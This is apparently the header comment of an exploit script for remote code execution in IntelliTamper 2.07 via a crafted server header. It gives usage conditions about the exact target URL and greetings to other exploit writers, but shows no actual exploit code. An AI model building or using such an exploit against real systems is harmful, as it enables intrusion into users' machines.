# IntelliTamper 2.07 Remote Code Execution ( server header )

# Guido Landi finally did it, thought i'd throw one in there.
# This example assumes you're scanning "http://127.0.0.1"
# For example, exploit may not work if you were to scan "http://127.0.0.1:80"
# or even changing it as slightly as "http://127.0.0.1/"
#
# gr33tz: Rima my baby, str0ke, messiah, Idol, old venny  ;) , BU,
# and finally, Guido Landi for sparking my interest in exploiting
# this application.
